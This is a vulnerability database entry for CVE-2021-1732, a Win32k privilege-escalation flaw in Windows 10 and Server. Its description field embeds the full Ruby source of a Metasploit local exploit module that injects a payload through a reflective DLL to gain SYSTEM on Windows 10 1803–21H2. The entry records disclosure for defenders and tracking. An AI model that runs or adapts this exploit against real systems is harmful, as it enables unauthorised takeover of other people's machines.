ID

VAR-202102-0786

CVE

CVE-2021-1732

TITLE

Microsoft Win32k Security feature vulnerability

DESCRIPTION

Windows Win32k Elevation of Privilege Vulnerability. Microsoft Win32k是美国微软（Microsoft）公司的一个用于Windows多用户管理的系统文件. Microsoft Win32k 中存在安全特征问题漏洞。以下产品及版本受到影响：Windows 10 Version 1803 for 32-bit Systems,Windows 10 Version 1803 for x64-based Systems,Windows 10 Version 1803 for ARM64-based Systems,Windows 10 Version 1809 for 32-bit Systems,Windows 10 Version 1809 for x64-based Systems,Windows 10 Version 1809 for ARM64-based Systems,Windows Server 2019,Windows Server 2019 (Server Core installation),Windows 10 Version 1909 for 32-bit Systems,Windows 10 Version 1909 for x64-based Systems,Windows 10 Version 1909 for ARM64-based Systems,Windows Server, version 1909 (Server Core installation),Windows 10 Version 2004 for 32-bit Systems,Windows 10 Version 2004 for ARM64-based Systems,Windows 10 Version 2004 for x64-based Systems,Windows Server, version 2004 (Server Core installation),Windows 10 Version 20H2 for x64-based Systems,Windows 10 Version 20H2 for 32-bit Systems,Windows 10 Version 20H2 for ARM64-based Systems,Windows Server, version 20H2 (Server Core Installation). ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploit/windows/local/cve_2021_1732_win32k' def initialize(info = {}) super( update_info( info, { 'Name' => 'Win32k ConsoleControl Offset Confusion', 'Description' => %q{ A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to achieve an out of bounds write operation, eventually leading to privilege escalation. This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021. In early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is is the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to function on a wider range of Windows 10 targets. }, 'License' => MSF_LICENSE, 'Author' => [ # CVE-2021-1732 'BITTER APT', # exploit as used in the wild 'JinQuan', # detailed analysis 'MaDongZe', # detailed analysis 'TuXiaoYi', # detailed analysis 'LiHao', # detailed analysis # CVE-2022-21882 'L4ys', # github poc # both CVEs 'KaLendsi', # github pocs # Metasploit exploit 'Spencer McIntyre' # metasploit module ], 'Arch' => [ ARCH_X64 ], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows 10 v1803-21H2 x64', { 'Arch' => ARCH_X64 } ] ], 'Payload' => { 'DisableNops' => true }, 'References' => [ # CVE-2021-1732 references [ 'CVE', '2021-1732' ], [ 'URL', 'https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/' ], [ 'URL', 'https://github.com/KaLendsi/CVE-2021-1732-Exploit' ], [ 'URL', 'https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e' ], [ 'URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732' ], # the rest are not cve-2021-1732 specific but are on topic regarding the techniques used within the exploit [ 'URL', 'https://www.fuzzysecurity.com/tutorials/expDev/22.html' ], [ 'URL', 'https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm' ], [ 'URL', 'https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html' ], [ 'URL', 'https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html' ], # CVE-2022-21882 references [ 'CVE', '2022-21882' ], [ 'URL', 'https://github.com/L4ys/CVE-2022-21882' ], [ 'URL', 'https://github.com/KaLendsi/CVE-2022-21882' ] ], 'DisclosureDate' => '2021-02-09', # CVE-2021-1732 disclosure date 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_OS_RESTARTS, ], 'Reliability' => [ REPEATABLE_SESSION, ], 'SideEffects' => [] } } ) ) end def check sysinfo_value = sysinfo['OS'] if sysinfo_value !~ /windows/i # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i vprint_status("Windows Build Number = #{build_num}") unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19044) print_error('The exploit only supports Windows 10 versions 1803 - 21H2') return CheckCode::Safe end CheckCode::Appears end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86 fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64 fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end encoded_payload = payload.encoded execute_dll( ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-21882', 'CVE-2022-21882.x64.dll'), [encoded_payload.length].pack('I<') + encoded_payload ) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

local

TYPE

security feature problem

CONFIGURATIONS

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Spencer McIntyre

SOURCES

LAST UPDATE DATE

2024-07-26T22:57:29.884000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE